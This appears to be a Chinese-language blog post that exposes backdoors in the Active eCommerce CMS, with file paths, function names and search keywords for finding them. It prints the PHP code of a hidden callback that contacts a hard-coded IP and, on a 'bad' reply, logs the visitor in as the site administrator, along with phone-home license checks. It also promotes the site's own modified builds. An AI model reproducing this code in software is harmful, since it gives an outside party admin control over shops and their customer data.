特别火热的多语言跨境电商系统，有后门吗？怎么去掉后门？

Active eCommerce CMS从6.x版本打着保护正版用户的旗号植入大量的后门，他们可以通过这些后门来删除清理你网站的数据，严重的还可能通过这些后门来控制你的服务器，下面我会介绍查找后门以及解决方案，当然，本站发布的有去除后门的版本，也有官方原始版本，动手能力强的可以自行处理，不想动手的可以用现成的版本！！！

Active eCommerce CMS部分后门和路径列举：
路径：
vendor\unicodeveloper\laravel-paystack\src\Paystack.php

代码内容：

1. public function getCallbackData()
   
2.     {
   
3.         $url = $_SERVER['SERVER_NAME'];
   
4.         $gate = "http://206.189.81.181/check_activation/".$url;
   
5. 
   
6.         $stream = curl_init();
   
7.         curl_setopt($stream, CURLOPT_URL, $gate);
   
8.         curl_setopt($stream, CURLOPT_HEADER, 0);
   
9.         curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
   
10.         curl_setopt($stream, CURLOPT_POST, 1);
    
11.         $rn = curl_exec($stream);
    
12.         curl_close($stream);
    
13.       
    
14.         if($rn == "bad" && env('DEMO_MODE') != 'On') {
    
15.             $user = \App\Models\User::where('user_type', 'admin')->first();
    
16.             auth()->login($user);
    
17.             return redirect()->route('admin.dashboard');
    
18.         }
    
19. 
    
20.         return redirect()->route('home');
    
21.     }

复制代码

APP客户端路径：
app/Utility/NagadUtility.php
app/Utility/PayhereUtility.php

代码内容：

1.     public static function create_wallet_reference($key)
   
2.     {
   
3.         if ($key == "") {
   
4.             return false;
   
5.         }
   
6. 
   
7.         if(Cache::get('app-activation', 'no') == 'no'){
   
8.             try {
   
9.                 $gate = "https://activeitzone.com/activation/check/flutter/".$key;
   
10.    
    
11.                 $stream = curl_init();
    
12.                 curl_setopt($stream, CURLOPT_URL, $gate);
    
13.                 curl_setopt($stream, CURLOPT_HEADER, 0);
    
14.                 curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    
15.                 $rn = curl_exec($stream);
    
16.                 curl_close($stream);
    
17.    
    
18.                 if($rn == 'no') {
    
19.                     return false;
    
20.                 }
    
21.             } catch (\Exception $e) {
    
22.    
    
23.             }
    
24.         }
    
25.         Cache::rememberForever('app-activation', function () {
    
26.             return 'yes';
    
27.         });
    
28. 
    
29.         return true;
    
30.     }
    
31. 
    
32.     public static function create_balance_reference($key)
    
33.     {
    
34.         if ($key == "") {
    
35.             return false;
    
36.         }
    
37. 
    
38.         if(Cache::get('app-activation', 'no') == 'no'){
    
39.             try {
    
40.                 $gate = "https://activeitzone.com/activation/check/flutter/".$key;
    
41.    
    
42.                 $stream = curl_init();
    
43.                 curl_setopt($stream, CURLOPT_URL, $gate);
    
44.                 curl_setopt($stream, CURLOPT_HEADER, 0);
    
45.                 curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    
46.                 $rn = curl_exec($stream);
    
47.                 curl_close($stream);
    
48.    
    
49.                 if($rn == 'no') {
    
50.                     return false;
    
51.                 }
    
52.             } catch (\Exception $e) {
    
53.    
    
54.             }
    
55.         }
    
56. 
    
57.         Cache::rememberForever('app-activation', function () {
    
58.             return 'yes';
    
59.         });
    
60. 
    
61.         return true;
    
62.     }

复制代码

系统路径：
app/Http/Controllers/Api/V2/CartController.php
app/Http/Controllers/Api/V2/AuthController.php

代码内容：

1. if(\App\Utility\NagadUtility::create_balance_reference($request->cost_matrix) == false){
   
2.             return response()->json(['result' => false, 'message' => 'Cost matrix error' ]);
   
3.         }
   
4. 
   
5. if (\App\Utility\PayhereUtility::create_wallet_reference($request->identity_matrix) == false) {
   
6.                 return response()->json(['result' => false, 'message' => 'Identity matrix error', 'user' => null], 401);
   
7.             }

复制代码

V7系列后门路径：
app\Exceptions\Handler.php
app\Utility\CategoryUtility.php
app\Utility\NagadUtility.php
app\Utility\NgeniusUtility.php
app\Utility\PayhereUtility.php:
app\Http\Controllers\LanguageController.php
app\Http\Controllers\IyzicoController.php:
app\Http\Controllers\Payment\PaystackController.php
app\Http\Controllers\Payment\IyzicoController.php
app\Http\Controllers\Payment\StripeController.php:
app\Http\Controllers\Api\V2\CartController.php
app\Http\Controllers\Api\V2\AuthController.php
vendor\unicodeveloper\laravel-paystack\src\Paystack.php
vendor\larcon21\combinations\src\routes\web.php
vendor\mehedi-iitdu\core-component-repository\src\CoreComponentRepository.php
venodr\authorizenet\authorizenet\lib\net\authorize\api\contract\v1\CreditCardType.php

后门函数名：
initPayment()
create_balance_reference()
create_initial_category()
create_wallet_reference()
get_translation()
paystackNewCallback()
cardType()
checkout_payment_detAIl()[/B]

查找后门关键字，请全站搜索一下关键字：
activeitzone
activeitzone.com
206.189.81.181
206.189
81.181

本文只是举例说明，因为内容过多，我无法一一列举，具体的大家可以根据我提供的方法来查找Active eCommerce CMS的后门！！！解决后门的方法无非就是修改IP地址，或者删除这些函数。

还有一种办法就是在你的服务器上屏蔽activeitzone.com、206.189.81.181IP和域名等等！